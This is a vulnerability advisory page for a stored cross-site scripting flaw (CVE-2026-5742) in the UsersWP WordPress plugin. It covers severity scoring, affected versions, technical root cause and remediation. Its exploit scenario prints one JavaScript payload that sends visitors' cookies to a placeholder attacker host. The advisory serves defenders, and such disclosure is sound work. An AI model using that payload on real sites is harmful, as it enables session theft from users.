Skip to main content

Userswp Front End Login Form User Registration User Profile Members Directory Plugin For Wp EUVDEUVD-2026-20846

| CVE-2026-5742 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-09 Wordfence GHSA-88ch-mr98-cfqw
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents a moderate but contextually significant risk. The CVSS 6.4 score (Medium severity) reflects the network attack vector, low complexity, limited privileges required, and scope change; however, the confidence in that score is weakened by the absence of integrity and availability impacts (only confidentiality and integrity scored). The EPSS score and real-world exploitation data are not provided, but the low attack complexity and subscriber-level access requirement are typical of WordPress plugin vulnerabilities that see moderate adoption. The critical risk amplifier is the stored (persistent) nature of the XSS: unlike reflected XSS, this payload executes for every site visitor accessing the badge widget, not just the attacker's target. In WordPress sites with contributor or subscriber communities (e.g., membership sites, forums, multi-author blogs), subscriber-level compromise is common through weak passwords, reused credentials, or social engineering. The vulnerability is not listed as actively exploited (no CISA KEV status provided), and no public exploit code is referenced in the intelligence data, reducing immediate weaponization risk but not the strategic threat to vulnerable sites with untrusted user bases. For sites with strict subscriber access controls or single-author WordPress installations, real-world risk is lower; for community-driven sites, this warrants expedited patching.

Exploit ScenarioDerived

An attacker with a compromised subscriber account (or a malicious subscriber) edits their UsersWP profile and injects JavaScript into a URL field, for example: javascript:fetch('https://attacker.com/steal?cookie='+document.cookie). When the badge widget renders this profile on any page (e.g., member directory, single user profile page), the unescaped URL executes in visitors' browsers, stealing session cookies or redirecting users to a phishing site. No public exploit code is available at present, but the low technical bar for XSS payload injection and the high visibility of badge widgets make this a practical threat in active WordPress communities.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 09, 2026

Stored Cross-Site Scripting in UsersWP WordPress plugin up to version 1.2.60 allows authenticated subscribers and above to inject arbitrary JavaScript into user profile badge widgets via insufficiently sanitized URL fields, executing malicious scripts for all site visitors viewing affected pages. The vulnerability affects the badge widget rendering component due to improper output escaping in the wp-ayecode-ui library integration. No public exploit code or active exploitation has been identified, though the low attack complexity and subscriber-level access requirement make this a realistic threat in multi-user WordPress environments.

RemediationAI

Upgrade the UsersWP plugin to a patched version released after 1.2.60 that includes input sanitization and output escaping fixes. The WordPress plugin repository changeset referenced (3501691@userswp) indicates upstream patches have been applied; users should update to the latest available version from the WordPress.org plugin directory. If an immediate upgrade is not feasible, site administrators should restrict subscriber-level user permissions on profile editing and disable the badge widget feature until patching is complete. Review audit logs for suspicious profile modifications by subscriber-level accounts that may indicate exploitation. For additional guidance, refer to the Wordfence threat intelligence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/bdb619c5-967c-4b8c-8a93-bcdb49137d56?source=cve and the WordPress plugin repository source code references detailing the vulnerable components.

Affected VersionsENISA

UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WP 0 ≤1.2.60

Affected Packages

euvd userswp_front_end_login_form_user_registration_user_profile_members_directory_plugin_for_wp no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the UsersWP plugin's badge widget implementation. The root cause involves two distinct failures: insufficient input sanitization of user-supplied URL fields stored in the database and inadequate output escaping when rendering profile data through the wp-ayecode-ui component library, specifically in the AUI button component class. The affected code is located in class-aui-component-button.php (line 53 onwards) and pages.php (lines 392-540, particularly lines 522-527), which handle badge widget generation. When a user with subscriber-level or higher permissions submits a profile update containing malicious JavaScript within URL fields, the unescaped output is stored and subsequently rendered to all site visitors, resulting in persistent client-side code execution within the security context of the affected WordPress site.

Know when Userswp Front End Login Form User Registration User Profile Members Directory Plugin For Wp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The UsersWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 1.2.60. This is due to insufficient input sanitization of user-supplied URL fields and improper output escaping when rendering user profile data in badge widgets. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts that will execute whenever a user accesses a page containing the affected badge widget.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy